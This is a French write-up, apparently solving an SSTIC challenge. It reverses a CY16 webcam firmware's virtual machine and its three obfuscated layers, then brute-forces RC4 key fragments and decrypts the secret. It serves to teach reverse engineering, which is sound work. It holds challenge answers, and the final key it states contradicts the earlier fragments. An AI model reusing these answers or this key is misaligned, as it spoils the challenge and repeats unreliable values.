Après de nombreuses recherches sur le net, la caméra en question semble posséder un CPU cy16, dont bien sûr nous ne connaissons rien. La seule documentation trouvée est quand même relativement complète sur le site cypress. Nous n'avons toutefois aucune certitude sur ce CPU.

D'autres recherches nous apprennent que des outils de developpement existent pour ce CPU, mais qu'ils ne sont disponibles qu'avec l'achat d'une carte cypress... tentant mais onéreux juste pour un challenge, surtout quand on a pas la certitude du processeur.

La documentation trouvée étant relativement complète, un désassembleur a été developpé pour comprendre les firmwares init.rom et stage2.rom. De par mon manque d'expérience en reverse, un émulateur a aussi été écrit, pour confirmer l'analyse statique de ces firmwares.

Désassembleur CY16

L'écriture d'un désassembleur n'est en soit pas si difficile que ça (si on omet tous les bugs que l'on peut avoir, la mauvaise compréhension de la documentation, ou encore les informations manquantes). Il faut cependant prévoir tous les cas possibles et la moindre erreur provoque un décalage qui fait que toute la suite du code sera mal désassemblée.

Les premiers résultats du désassembleur étaient tout simplement catastrophiques... et le code produit ne voulait strictement rien dire... remettant en cause régulièrement la véracité du CPU.

Pour essayer de limiter les erreurs, des warnings ont été affichés à chaque fois qu'un JMP ou un CALL se faisait sur une adresse non valide.

Warning: 0x0 point to [0x8a9] which is not an instruction
Warning: 0x8c point to [0xe8] which is not an instruction
Warning: 0xfc point to [0x4da] which is not an instruction
Warning: 0x18c point to [0x1a6] which is not an instruction
Warning: 0x198 point to [0x1a6] which is not an instruction
[..]
Warning: 0x782 point to [0x4da] which is not an instruction
Warning: 0x7a2 point to [0x4da] which is not an instruction
Warning: 0x7b0 point to [0x4da] which is not an instruction
Warning: 0x8ae point to [0x1bd] which is not an instruction
Warning: 0xa70 point to [0x1] which is not an instruction
Warning: 0xa70 point to [0xa74] which is not an instruction
      b6 c3 a9 08       0000                   JNC      [$r14+0x8a9]   (to [0x8a9])
            02 64       0004                   AND      $r2 , [$r8]                    
e7 07 76 00 aa 00       0006                   MOV      [0xaa] , 0x76                  
e7 07 56 f7 b4 00       000c                   MOV      [0xb4] , 0xf756                
      c8 07 1a 01       0012                   MOV      $r8 , 0x11a                    
      e0 07 00 40       0016                   MOV      [$r8] , 0x4000                 
                                               ADDI     $r8 , 2                       
      e0 07 00 00       001a                   MOV      [$r8] , 0x0                    
                                               ADDI     $r8 , 2                       
      e0 07 00 00       001e                   MOV      [$r8] , 0x0                    
                                               ADDI     $r8 , 2                       
            97 cf       0022                   RET                                     
            00 00       0024                   MOV      $r0 , $r0                      
[...]
            00 00       0054                   MOV      $r0 , $r0                      
            00 00       0056                   MOV      $r0 , $r0                      
            00 00       0058                   MOV      $r0 , $r0                      
            f1 ff       005a                   UKN      ?????????                      
            f2 ff       005c                   UKN      ?????????                      
            f3 ff       005e                   UKN      ?????????                      
            f4 ff       0060                   UKN      ?????????                      
            f5 ff       0062                   UKN      ?????????                      
            ff ff       0064                   UKN      ?????????                      
            ff ff       0066                   UKN      ?????????                      
[...]
En téléchargeant plusieurs firmwares sur internet et en les comparant, il a été possible de détecter une sorte de header (b6c3 + 4 octets inconnus), que bien entendu il ne faut pas considérer comme des opcodes.

Finalement et à force de suppositions (sur lesquelles ont longtemps planées un doute), il a été possible de séparer des zones comme étant des données et non plus des opcodes, pour au final obtenir un désassemblage intéressant et cohérent.

$ ./sstic_pwn.py -c cy16 -o 6 -x stage2.rom
e7 07 76 00 aa 00 0000                MOV [0xaa] , 0x76                  
e7 07 56 f7 b4 00 0006                MOV [0xb4] , 0xf756                
      c8 07 1a 01 000c                MOV $r8 , 0x11a                    
      e0 07 00 40 0010                MOV [$r8] , 0x4000                 
                                      ADDI $r8 , 2                       
      e0 07 00 00 0014                MOV [$r8] , 0x0                    
                                      ADDI $r8 , 2                       
      e0 07 00 00 0018                MOV [$r8] , 0x0                    
                                      ADDI $r8 , 2                       
            97 cf 001c                RET                                
-----------------------------------------------
00 00 00 00 00 00       001e
00 00 00 00 00 00       0024
00 00 00 00 00 00       002a
00 00 00 00 00 00       0030
00 00 00 00 00 00       0036
00 00 00 00 00 00       003c
00 00 00 00 00 00       0042
00 00 00 00 00 00       0048
00 00 00 00 00 00       004e
f1 ff f2 ff f3 ff       0054
f4 ff f5 ff ff ff       005a
ff ff ff ff ff ff       0060
ff ff 00 00 54 00       0066
00 00 00 00 00 00       006c
00 00 00 00 00 0e       0072
01 00                   0078
-----------------------------------------------
      c0 57 51 00 007a                CMP $r0 , 0x51                     
            05 c0 007e                JZ +0x5                            (to [0x8a])
      c0 57 56 00 0080                CMP $r0 , 0x56                     
            14 c0 0084                JZ +0x14                           (to [0xae])
      9f cf e8 00 0086                JMP 0xe8                           (to [0xe8])
      c9 07 68 00 008a                MOV $r9 , 0x68                     
            41 08 008e                MOV $r1 , [$r9]                    
                                      ADDI $r9 , 2                       
            4a 08 0090                MOV $r10 , [$r9]                   
                                      ADDI $r9 , 2                       
            48 d8 0092                ADDI $r8 , 2                       
            22 08 0094                MOV [$r10] , [$r8]                 
                                      ADDI $r8 , 2                       
                                      ADDI $r10 , 2                      
            21 08 0096                MOV [$r9] , [$r8]                  
                                      ADDI $r8 , 2                       
                                      ADDI $r9 , 2                       
            48 02 0098                MOV $r8 , $r9                      
            61 94 009a                XOR [$r9] , [$r9]                  
                                      ADDI $r9 , 2                       
            61 00 009c                MOV [$r9] , $r1                    
                                      ADDI $r9 , 2                       
      e1 07 10 00 009e                MOV [$r9] , 0x10                   
                                      ADDI $r9 , 2                       
      e1 07 f6 00 00a2                MOV [$r9] , 0xf6                   
                                      ADDI $r9 , 2                       
      c1 07 00 80 00a6                MOV $r1 , 0x8000                   
            51 af 00aa                INT [0x51]                         
            97 cf 00ac                RET                                
[..]
L'option -x demande le désassemblage, l'option -o spécifie l'offset de début (pour sauter le header) et l'option -c dit que le CPU est un cy16 (deux seulement existent, cy16 et vm qui sera vu par la suite). Les adresses de données sont stockées en dures[3. Elles se trouvent de 0x1e à 0x7a, de 0xfe à 0x146, et enfin de 0x8a8 à 0xa6e] (c'est mal !).

A cet instant tous les JMP et CALL se font a des adresses valides, mais deux opcodes restent inconnus et non documentés et ont les valeurs 0xdfc6 et 0xdfc7. Le dernier opcode documenté a la valeur 0xdfc5, ce qui nous laisse supposer que nous avons la bonne famille de CPU mais pas exactement le bon CPU (ou que la documentation n'est pas à jour).

Pour simplifier le reverse, un graphique a été généré permettant de comprendre l'enchainement des blocs (grâce à graphviz).

$ ./sstic_pwn -o 6 -g stage2.png stage2.rom


Emulateur CY16

L'émulateur CY16 développé from scratch gère tous les opcodes (MOV, CALL, JMP...), les flags et quelques interruptions. Il possède de plus certaines fonctionnalités nécessaires à son utilisation :

  • gestion de l'historique des commandes
  • breakpoints, breakpoints conditionnels, breakpoint en lecteur sur zone mémoire, breakpoint en écriture sur zone mémoire...
  • affichage de zones mémoire de la caméra ou de la RAM du MIPS, registres ou flags
  • possibilité d'exécuter des commandes quand on arrive à certaines adresses (de façon conditionnelle)
  • pas à pas, saut dans un call ...
  • possibilité d'automatisation via l'exécution d'un script
Voilà un exemple de script utilisé:

key = "\xbb\xaa\xdd\xcc"
extra = open("blob.bin","rb").read()
self.cpu.ram_mips = open("layer2_unencode.bin","rb").read()
self.cpu.ram_mips = self.cpu.ram_mips + "\x00"*(0x10000-len(self.cpu.ram_mips))
self.cpu.ram_mips = self.cpu.ram_mips[0:0xa000] + key + 
self.cpu.ram_mips[0xa000+len(key):]
self.cpu.ram_mips = self.cpu.ram_mips[0:0xa010] + extra + 
self.cpu.ram_mips[0xa010+len(extra):]

self.cpu.registers[15].val = 0x950
self.cpu.ram[0x11a] = "\x00\x40"
self.cpu.registers[8].val = 0x120
start 0x8a
#h 0xaa print "DATA at %s" % hex(self.cpu.unpack(
self.cpu.ram[self.cpu.registers[8].val+2]))
#h 0x4f4 print "First bit = %u" % self.cpu.registers[0].val
#h 0x502 print "2,3,4 bit = %u" % self.cpu.registers[0].val
#h 0x544 print "OPCODE = %u" % self.cpu.registers[0].val
#h 0x42e print "OPERAND = %r" % self.cpu.ram[0x126:0x128]
#h 0x26c print "NB_BITS:%r" % self.cpu.registers[0].val,
#h 0x2c6 print "VALUE:%s" % hex(self.cpu.registers[0].val)
#h 0x4d6 print "IMMEDIATE VALUE"
#h 0x4a8 print "DIRECT ADDRESSING"
#h 0x3ee print "MOVO"
#h 0x49a print "AUTRE: 1"
#h 0x454 print "AUTRE: 2"
#h 0x226 print "SIZE: %s" % hex(self.cpu.registers[10].val)


######## WARNINGS #######
#h 47e print "WARNING Unknown OPCODE 2 !!!''
#h 7b6 print "WARNING 1 *****************************"
#h 7e0 print "WARNING 2 *****************************"
#h 6ac print "WARNING UKN1 dans MOV *****************"
#h 620 print "WARNING ** REGISTRE 15 (0x620)"
#h 644 print "WARNING ** REGISTRE 14, on décrément le compteur (0x644)"
#h 6c0 print "WARNING ** On va jouer avec PC (0x6c0)"
#h 7e0 print "WARNING ** On va jumper mechant (0x7e0)"
#h 7b6 print "WARNING ** Sauvegarde PC (0x7b6)"


######## CMDS ###########
h 0x5be self.cpu.cmd="NOT"
h 0x58e self.cpu.cmd="AND"
h 0x588 self.cpu.cmd="OR"
h 0x60a self.cpu.cmd="MOV"
h 0x600 self.cpu.cmd="SHL"
h 0x5f6 self.cpu.cmd="SHR"
h 0x566 self.cpu.cmd="JMP"
h 0x4ec self.last_addr=hex(self.cpu.unpack(self.cpu.ram[0x11c:0x11e])*8
+self.cpu.unpack(self.cpu.ram[0x11e:0x120]))
h 0x4de if self.cpu.cmd is not None: print "%s => %s " % 
(self.last_addr,self.cpu.cmd)

stage2.rom

L'analyse approfondie du stage2.rom via le désassembleur et l'émulateur nous permet d'aboutir à la conclusion que ce firmware implémente une machine virtuelle possédant son propre jeu d'instruction. L'état de cette machines virtuelle (registres, flags...) est en réalité situé dans ce que nous avons appelé les données du stage2.rom et est développé dans le chapitre XXX.

La fonction principale située à l'adresse 0x4da permet en fonction des données en entrée d'exécuter la bonne instruction. Un pseudo-code ultra simplifié de cette fonction serait le suivant :

Si opcode == 0:
   AND_OPCODE()
Sinon Si opcode == 1:
   OR_OPCODE()
Sinon Si opcode == 2:
   NOT_OPCODE()
Sinon Si opcode == 3:
   SHL_or_SHR_OPCODE()
Sinon Si opcode == 4:
   MOV_OPCODE()
Sinon Si opcode > 4:
   JMP_or_CALL_OPCODE()
Communication USB
Les communications USB avec la machine MIPS sont réalisées par la fonction à l'adresse 0x7a. Que ce soit pour l'envoi ou la réception de données, la structure de données suivantes semble être utilisée :
S'il s'agit d'une réception USB alors l'interruption 0x51[4. USB_RECEIVE_INT] sera appelée puis la callback située en 0xf6. Elle appelle la fonction principale qui permet de parser et exécuter les opcodes puis appelle l'interruption 0x59[5. USB_FINISH_INT] qui termine la communication USB.

S'il s'agit d'un envoi USB alors l'interruption 0x50[6. USB_SEND_INT] est appelée puis la callback située en 0xe8.

Pour émuler l'interruption 0x51 (réception), le registre d'instruction est modifié pour prendre l'adresse du handle de la structure précédemment décrite. De plus une partie de la mémoire RAM du MIPS est copiée dans la mémoire de la caméra. La taille de cette zone mémoire est précisée dans la structure mais est toujours la même (0x10). L'adresse dans la RAM du MIPS dépend du précédent envoi USB. L'adresse destination dans la mémoire de la caméra évolue avec le temps et sera développée plus tard.

Pour émuler l'interruption 0x50 (envoi), le registre d'instruction est modifié pour prendre l'adresse du handle de la structure. De plus une partie de la mémoire de la caméra est copiée dans la mémoire RAM du MIPS. L'adresse de destination dans la RAM du MIPS dépend de l'avant dernier mot de la zone mémoire.

Pour émuler l'interruption 0x59 (terminaison), un tour sur deux l'adresse 0xae est mise en sommet de pile et l'autre tour c'est au tour de l'adresse 0x8a. Ce fonctionnement permettra d'alterner entre l'envoi et la réception USB. Ce fonctionnement n'est bien entendu pas correct, mais dans ce cas précis, il est conforme à ce que fait le programme MIPS.
Mapping de la mémoire
Certaines instructions ont besoin d'un accès direct à la RAM} du MIPS que ce soit en écriture ou simplement en lecture. Il est donc nécessaire de faire un mapping de ces zones dans la mémoire de la caméra, comme cela a déjà été vu dans le détail de la fonction vicpwn_handle. La fonction située en 0x1da a un lien direct avec ce besoin.

L'objectif de cette fonction est double, si la mémoire MIPS nécessaire à une instruction est disponible (mappée dans la mémoire de la caméra), alors son adresse dans la mémoire de la caméra sera retournée.

$ ./sstic_pwn.py -d -o 6 stage2.rom
...
>>> b 1da
>>> r
BREAKPOINT 1 !
01da MOV $r5 , $r0
>>> ir
$r0 => 0xa000
...
>>> b 228
>>> r 
BREAKPOINT 2 !
0228 ADD $r0 , $r10
>> ir
$r0 => 0x0
...
>> x 2 0
bb aa
Dans cet exemple, l'adresse RAM MIPS en 0xa000 sera mappée en 0x0 de la mémoire de la caméra.

Le deuxième objectif de cette fonction est de demander un mapping de la mémoire si cette dernière ne l'est pas. Pour cela, la fonction utilise la zone mémoire allant de 0x54 à 0x5c pour connaitre quelles sont les zones actuellement mappées. Il y a donc 5 zones mémoire qui peuvent être mappées au même moment dans la caméra. Chaque zone mémoire ayant une taille de 16 octets. La zone mémoire correspondant à l'adresse MIPS située en 0x54, sera située en 0x0, la zone mémoire correspondant à l'adresse MIPS située en 0x56 sera située en 0x10, ainsi de suite.

Dans notre exemple précédent l'adresse 0xf de la caméra correspondra donc à l'adresse 0xa00f de la RAM du MIPS, l'adresse 0x10 correspondra à une zone mémoire complètement différente (ici 0x10 dans la RAM du MIPS[7. L'exemple n'est pas le meilleur qui soit...]).

$ ./sstic_pwn.py -d -o 6 stage2.rom
...
>> x 10 54
00 a0 10 00 20 00 f4 ff f5 ff
Si la zone mémoire n'est pas mappée, alors la fonction (en jouant avec les adresses de retour des fonctions), va faire une demande via l'USB au MIPS pour mapper cette mémoire et la même instruction sera réexécutée et pourra être menée à son terme (si plus aucune zone mémoire ne vient à manquer).

Le mapping d'une zone mémoire, entraîne le demapping d'une autre zone mémoire, étant donné que la quantité de zone mémoire mappée est limitée à 5. Pour cela, via un système de compteur situé dans les zones mémoire allant de 0x54+10 à 0x5c+10, la zone mémoire la plus ancienne non utilisée (celle qui a le compteur le plus élevé) est demappée puis commitée dans le MIPS. A chaque fois qu'une zone mémoire est utilisée, son compteur est mis à 0, et à chaque fois que la fonction est appelée, tous les compteurs sont augmentés de 1. Ce système permet de s'assurer que les zones mémoires utilisées en dernier seront demappées les premières (car les moins suceptibles d'être utilisée).

Lecture des opcodes de la VM
La lecture des opcodes de la machine virtuelle se fait via la fonction en 0x268. Cette fonction consomme un certain nombre[8. Contenu dans le registre r0] de bits à chaque fois qu'elle est appelée (contenu dans r0), dépendant de ce qu'elle a lu précédemment. Contrairement au CPU CY16, les opcodes du CPU implémenté par la machine virtuelle ne sont pas alignés.

Pour savoir où elle en est, et qu'est ce qu'elle doit consommer, cette fonction stocke 2 valeurs. La première se situe en 0x11c et représente l'indice du prochain octet à lire, et la seconde se situe en 0x11e et représente l'indice du prochain bit à lire dans le prochain octet.

Cette fonction lit la RAM du MIPS via la fonction permettant le mapping d'adresse. Ce qui suggère que le code de la machine virtuelle se situe directement dans la RAM du MIPS. Les valeurs de 0x11c et 0x11e étant initialisées en dur à 0 dans le stage2.rom, le code de la machine virtuelle commence à l'adresse 0 de RAM et est donc contenu dans les layers.

Remarque: Dans le cas ou l'opcode a besoin d'une adresse non mappée, la fonction responsable du mapping restore les valeurs 0x11c et 0x11e à leur valeur d'origine pour rééxecuter la même instruction.
Gestion des opérandes
La gestion des opérandes des instructions est faite par deux fonctions.

La première fonction se situe en 0x3c4. Cette fonction va consommer des bits (ref lectures opcodes de la machine virtuelle) et en fonction de leurs valeurs, alors l'opérande pourra être soit la valeur contenue dans un registre, soit une valeur stockée en dur dans le layer, soit une adresse, soit une adresse contenue dans un registre, soit un offset relatif à une adresse contenue dans un registre. La suite de bits consommés pour la création de l'opérande a cette forme :

size = ReadBits(1)
type = ReadBits(2)
if type == 0:
  reg = ReadBits(4)
  res = *reg
elif type == 1:
  if size == 0:
    res = ReadBits(8)
  else:
    res = ReadBits(16)
elif type == 2:
  ref = ReadBits(2)
  if ref == 0:
    reg = ReadBits(4)
    temp = *reg
  elif ref == 1:
    temp = ReadBits(16)
  elif ref == 2:
    temp = ReadBits(16)
    reg = ReadBits(4)
    temp += *reg
  res = Get(temp)
else:
  # MOV chiffré décrit plus tard
  pass

Cette fonction construit une structure qui caractérisera l'opérande et qui aura la forme suivante :


Dans tous les cas la valeur en 0x126 sera la valeur finale (par exemple dans le cas d'une adresse ça sera la valeur située à cette adresse).

La deuxième fonction se situe en 0x346. Elle a pour seul rôle de copier le contenu de la structure précédemment décrite en 0x134. Concrètement cette fonction fait en sorte que l'opérande précédemment parsée, devienne la deuxième opérande.
Sauvegarde des résultats
La sauvegarde des résultats de chaque instruction est faite par la fonction 0x35e. Elle peut se faire soit dans un registre, soit en mémoire (dépendant du type d'opérande). Ce qui est important, c'est que cette sauvegarde est conditionnelle, et dépend des bits consommés. Ce fonctionnement permet de conclure que toutes les commandes de la machine virtuelle sont conditionnelles.
Gestion des flags
Les gestion des flags est faite par la fonction 0x814. Cette fonction sauvegarde les flags du CPU de la caméra soit en 0x144, soit en 0x145. Il y aura donc un flag Z1, un flag Z2, un flag C1, un flag C2...

Chaque instruction pourra donc soit modifier les flags 1, soit modifier les flags 2, soit ne pas toucher aux flags. De plus l'exécution de chaque instruction dépendra des flags 1 ou des flags 2.

Pour savoir si une condition est valide ou non, les flags 1 ou les flags 2 de la dernière instruction sont restaurés avant l'exécution de l'instruction courante. Le saut situé à l'adresse 0x537 est patché pour refléter la condition sauvegardée. S'il est pris alors le bit 1 du registre r14 sera positionné. Au final l'instruction courante ne positionnera son résultat qu'en fonction de ce bit.

$ ./ssticpwn -o 6 -d stage2.rom
Python 2.7.2+ (default, Oct  4 2011, 20:06:09) 
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> b 524
>>> f script.txt
008a MOV $r9 , 0x68
BREAKPOINT 0 !
0524 MOVB [0x537] , $r11
>>> lb
BREAKPOINTS: 
0 => 0x524:
>>> dis 536 2
0536 JNC +0x1
0538 ADDI $r14 , 2
>>> ir
[...]
$r11 => 0x94e
[...]
>>> s
0528 MOV $r0 , [0xc000]
>>> dis 536 2
0536 JMP +0x1
0538 ADDI $r14 , 2
Dans cet exemple, le JNC en 0x536 est devenu JMP.
MOV
Le pseudo-code de la fonction MOV située en 0x1a6 est le suivant:

Si R1 == 4:
   R0 = LoadWord(R0)
Si R1 == 0:
   StoreByte(R0,R2)
Si R1 == 1:
   StoreWord(R0,R2)
Sinon
   R0 = LoadByte(R0)

Cette fonction est appelée par la fonction 0x166 dont le pseudo-code est :

Si R1 == 0:
   StoreByte(R0,R2)
Si R1 == 2:
   R0 = LoadByte(R0)
Si R1 == 1:
   StoreWord(R0,SWAP(R2))
Si R1 == 3:
   StoreWord([R0],R2)
Si R1 == 4:
   R0 = LoadWord([R0])
MOV Chiffré
Une fonction située en 0x84c peut être appelée soit dans la préparation des opérandes (0x3c4), soit dans la sauvegarde des résultats (0x35e). Cette fonction permet de lire ou d'écrire en mémoire tout en chiffrant la valeur. Par exemple, si une opérande fait appel à cette fonction lors d'une écriture, alors la valeur de l'opérande sera chiffrée avant d'être écrite en mémoire.

Le chiffrement de la valeur se fait par l'intermédiaire d'une clé, constituée d'une adresse mémoire, d'une valeur de registre et d'un entier.

Cette fonction a une particularité, dans le cas ou elle est appelée avec les mêmes paramètres, une valeur chiffrée qui passera dans cette fonction sera déchiffrée.

En d'autres termes, si f représente cette fonction et k est la clé.

Si f(k,x) = y, alors f(k,y) = x.
Fonction principale
La fonction principale située en 0x4da permet en fonction du code lu venant du layer de construire les bonnes opérandes, d'exécuter les bonnes instructions et de sauvegarder ou non les résultats. Le reverse de cette fonction permet de construire un désassembleur pour la machine virtuelle implémentée par le firmware stage2.rom.

Le premier bit lu par cette fonction permet de savoir quels sont les flags qui seront utilisés par l'instruction, est ce que ce seront les flags 1 ou les flags 2.

Les 8 bits suivants représentent les flags qui conditionnent l'exécution ou non de l'instruction[9. plus exactement la sauvegarde ou non des résultats de cette instruction]. En fonction du premier bit lu, seul les 4 premiers bits seront gardés, ou seul les 4 derniers. Cette condition sera comparée aux flags sauvegardés et le mécanisme d'altération du code présenté dans la gestion des flags sera exécuté.

Les 3 bits suivants permettent de préciser quelle instruction doit être exécutée (MOV, AND, OR...).

Enfin le bit suivant permet de spécifier si oui ou non la commande doit modifier les flags.

Le traitement suivant dépend de l'instruction à exécuter, et suivra généralement le modèle du chargement d'une ou deux opérandes et de la sauvegarde ou non des résultats.
Photographie de la mémoire
Pour fonctionner, la machine virtuelle va stocker son état dans la mémoire de la caméra. Après rétroconception du code, il est possible d'avoir une photographie précise de cette mémoire.

CPU Machine virtuelle

Grâce au reverse du firmware stage2.rom, il est possible d'écrire un désassembleur pour le code interprété par la machine virtuelle. Un émulateur n'a pas été écrit, mais l'émulateur du cy16 a été réutilisé. Pour cela de nouvelles fonctions lui ont été ajoutées comme:
  • bvm permettant de mettre des breakpoints à des adresses de la machine virtuelle (conditionnel, en lecture, écriture...)
  • irvm permettant d'afficher les registres de la machine virtuelle
  • sfvm permettant d'afficher les flags de la machine virtuelle

Layer 1

Comme pour stage2.rom, un listing du code assembleur du layer1 est disponible dans cette solution, ainsi qu'un graphique pour simplifier le reverse.
$ ./sstic_pwn -c vm -x layer1.bin > layer1.asm
$ ./sstic_pwn -c vm -g layer1.png layer1.bin







Le code du layer 1 semble correct car les dernières instructions modifient l'adresse 0x8000, condition de sortie comme vu dans le reverse de vicpwn_handle. Cependant c'est à priori un code obfusqué, dans le sens ou le code produit pourrait être grandement simplifié.

La machine virtuelle ne possède pas l'opération XOR, pourtant le layer1 en utilise à outrance. Celui-ci se retrouve codé avec un mélange d'opération OR, AND et NOT[10. Par exemple p^q=(p & ~q ) | (~p & q)].

Même si les blocs du layer1 sont au final très semblables, ne connaissant pas le niveau de sadisme des auteurs du challenge, ils ont tous étaient reversés et simplifiés à la main, pour éviter une mauvaise surprise.

Au delà de la simplification du code avec des XOR, on remarque très rapidement qu'une partie vraiment très faible est dépendante de la clé (chargée dans les registres r12 et r3 lors des deux premières instructions). La majeur partie du code est fixe et peut donc être simplifiée sans problème. Au final, l'algorithme qui paraissait très long, se limite à son équivalent en C suivant :

[...]
int is_valid_key(uint32_t key) {
   uint8_t k0 = key&0xff;
   uint8_t k1 = (key>>8)&0xff;
   uint8_t k2 = (key>>16)&0xff;
   uint8_t k3 = (key>>24)&0xff;
   uint16_t k = (k3^k1^k0)<<8 | (k0^k1^k2^k3);
 
   if(k != 0xae4d) {
	  return 0;
   } else {
	  uint16_t x = (((k1^0x95)<<8) | (k1^k0^0x77))-0x539;
 
	  if(((x+0x94ec)&0xffff) == 0) {
		 printf("Key=%x A000=%x A002=%x",key,0x8cfa,x^0xbeef);
	  }
   }
}
[...]

Une recherche exhaustive des clés ne pose aucun problème, et nous permet de connaître les nouvelles valeurs qui seront stockées en RAM MIPS à l'adresse 0xa000 (différentes de la clé de départ, conditions pour que la clé entrée soit correcte.

# ./layer1.c
Key=94e3e5df A000=8cfa A002=d5fb

La clé 0x94e3e5df est une partie de la clé que nous recherchons (modulo l'inversion d'octets).

Le contenu de la zone mémoire en 0xa000 nous permet de déchiffrer le layer2 avec le programme fourni précédemment.

$ ./unencode_layer1.py fa8cfbd5

Layer 2

On commence par désassembler le layer2 avec notre outil.

$ ./sstic_pwn -c vm -x layer2_unencode.bin > layer2.asm
$ ./sstic_pwn -c vm -g layer2.png layer2_unencode.bin

Comme pour le layer1, le code semble correct à cause de la modification de la valeur contenue à l'adresse 0x8000 et du pattern 0xdead 0xbeaf très connu.

Contrairement au layer1, le layer2 fait une utilisation à outrance des opcodes de chiffrement. Cependant comme expliqué lors du reverse de ces opcodes, quand ils lisent une donnée ils la chiffrent automatiquement, et si cette donnée avait été préalablement chiffrée avec la même clé, elle est automatiquement déchiffrée.

06b3                   MOV      [$r4+0xc56a]{0xc} , 0x24       
06f0                   SHL      0x2 , [$r4+0xc56a]{0xc}

Dans cet exemple, la valeur 0x24 est stockée chiffrée à l'adresse \$r4+0xc56a (en utilisant comme clé 4,0xc56a,0xc). Cependant lors du SHL, la valeur est déchiffrée, le SHL s'effectue et le résultat est rechiffré avant d'être stocké en mémoire. Il est donc tout à fait possible de raisonner comme si le chiffrement n'avait pas lieu (tant que la même clé est utilisée).

Par contre si une zone mémoire non chiffrée est lue, celle-ci est automatiquement chiffrée avant que le calcul dessus ait lieu.

Dans le layer2 à l'exception de 3 instructions qui se trouvent aux adresses 0xf9b, 0x1174 et 0x566A, toutes les actions de chiffrement peuvent être ignorées. Cependant à ces adresses la mémoire qui est lue se situe dans la RAM dont le contenu n'est pas chiffré. Le résultat de la lecture chiffrera donc l'information. Après analyse, ces instructions lisent à l'intérieur du blob qui est concaténé à la suite de la clé et qui servira pour déchiffrer le dernier layer.

Voilà un exemple de la première valeur qui va être lue dans blob et qui sera ensuite chiffrée:

$ ./ssticpwn -o 6 -d stage2.rom
Python 2.7.2+ (default, Oct  4 2011, 20:06:09) 
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> bvmr 0xa010 0xa110
>>> f script.txt
[...]
BREAKPOINT 0 !
01d0 MOV $r0 , [$r8]
>>> ir
[...]
$r8 => 0x10
[...]
>>> x 10 54
f0 01 10 a0 50 ed e0 01 90 ee
>>> s
>>> ir
$r0 => 0x4861
[...]
>>> s
01d2 JMP +0x1
>>> s
01d6 POP $r8
>>> s
01d8 RET
>>> s
0894 XOR $r0 , $r6
>>> ir
$r0 => 0x4861
[...]
$r6 => 0x3361
[...]
>>> s
0896 AND $r3 , 0x4
>>> ir
$r0 => 0x7b00
[...]

Un premier breakpoint a été positionné et sera déclenché dès qu'un zone mémoire MIPS entre les adresses 0xa010 et 0xa110[11. 0xa010 et 0xa110 sont ici des adresses MIPS et non de la caméra] sera lue. La valeur 0x4861 est lue à l'adresse 0xa010 et correspond aux deux premiers octets du blob. Cette valeur est immédiatement chiffrée via un XOR en 0x894.

Le même principe d'obfuscation que pour le layer1 est utilisé. Le code suivant en C permet non seulement d'obtenir la clé par recherche exhaustive, mais aussi de modifier le blob. Le déchiffrement du layer3 a déjà été évoqué précédemment.

[...]
uint16_t is_valid(uint16_t key) {
   int i;
   uint16_t k = key;
   uint16_t k1 = 0x94e3;
   uint8_t blob[BLOB_SIZE];
 
   FILE *fd = fopen(BLOB,"r");
   fread(blob,1,BLOB_SIZE,fd);
   fclose(fd);
 
   for(i=0;i<64;i++) {
	  uint16_t v = o(0x9fc0,0x50+4*i+2,7,*((uint16_t*)blob+2*i+1));
	  uint16_t v1 = o(0x9fc0,0x50+4*i,7,*((uint16_t*)blob+2*i));
 
	  ((uint16_t*)blob)[2*i] = v1 ^ k1;
	  ((uint16_t*)blob)[2*i+1] = v ^ k;
	  k -= i;
	  k1 += i;
   }
   if(((uint16_t*)blob)[127] == 0xbe92) {
	  write_layer(blob);
	  printf("blob written\n");
	  return 1;
   }
   return 0;
}
[...]

Et le résultat:

$ ./layer2                         
blob written
KEY = f63d
Seul les octets manquants sont écrits, les deux octets (0xe5fd) en commun avec le layer1 ont été ignorés.

Layer 3

On commence par désassembler le layer3 avec notre outil.

$ ./sstic_pwn -c vm -x layer3_unencode.bin > layer3.asm
$ ./sstic_pwn -c vm -g layer3.png layer3_unencode.bin

Le layer3 ne présente aucune difficulté supplémentaire comparée au layer2. Les octets de blah sont lus et chiffrés à la volée puis xorés avec une transformation faite sur la clé pour être réécrits dans blah à la même position. La valeur finale de blah doit être égale à V29vdCAhISBTbWVsbHMgZ29vZCA6KQ==. Le code C suivant permet d'effectuer une recherche exhaustive sur les 2 derniers octets manquants de la clé[12. Les deux premiers octets sont trouvés grâce au layer précédent et sont égals à 0xf63d].

[...]
int is_valid_key(uint16_t key) {
   uint8_t i;
   uint8_t x = (KEY_PART1&0xff)^(key&0xff);
   uint8_t y = (KEY_PART1>>8)^(key>>8);
   uint16_t k = (y<<8) + x + y;
 
   uint16_t blah[SIZE_BLAH];
   memcpy(blah,blah_orig,SIZE_BLAH);
 
   for(i=0;i<32;i+=2) {
	  // o = fonction de chiffrement
	  uint16_t v = o(0xa00c,i+4,0x33,*((uint16_t*)blah+(i/2)));
	  ((uint16_t*)blah)[i/2] = v ^ k;
   }
   if(!strncmp((const char *)blah,SOLUTION,32))
	  return 1;
   return 0;
}
[...]

Et le résultat:

$ ./layer3
KEY = 8937
La rétroconception des 3 layers permet donc d'obtenir la deuxième partie de la clé RC4 qui est e5df94e3f63d8937.

Dernière ligne droite

Le cassage de la White-Box DES, puis le reverse du firmware de la webcam et de ses layers nous permettent d'obtenir la clé RC4 tant attendue : fd4185ff66a94afde5df94e3ff63d8937.

Comme bien entendu nous ne disposons pas de caméra, le programme ssticrypt ne pourra initialiser le périphérique et la vérification de la deuxième partie de la clé va échouer. Soit il nous suffit de patcher ssticrypt pour qu'il ne faisse plus la vérification de la 2e partie de la clé, soit nous réécrivons juste la partie responsable du déchiffrement de secret. La deuxième solution est choisie. Les deux points à ne pas oublier sont qu'il ne faut pas prendre le md5 contenu en début de fichier, et apporter les modifications nécessares à base de XOR au secret avant de le déchiffrer.

[...]
// secret est transformé avant d'être déchiffré
void unencode(char *data, int size) {
   int i;
   for(i=1;i<size;i++) {
      data[i-1] = data[i-1] ^ data[i];
   }   
}
 
[...]
void decrypt_rc4(char *key, char *indata, int size) {
   RC4_KEY rc4_k;
   char outdata[size];
 
   RC4_set_key(&rc4_k,LEN,key);
   RC4(&rc4_k,size,indata,outdata);
 
   int i;
   for(i=0;i<size;i++) {
      printf("%c",outdata[i]);
   }   
}
[...]

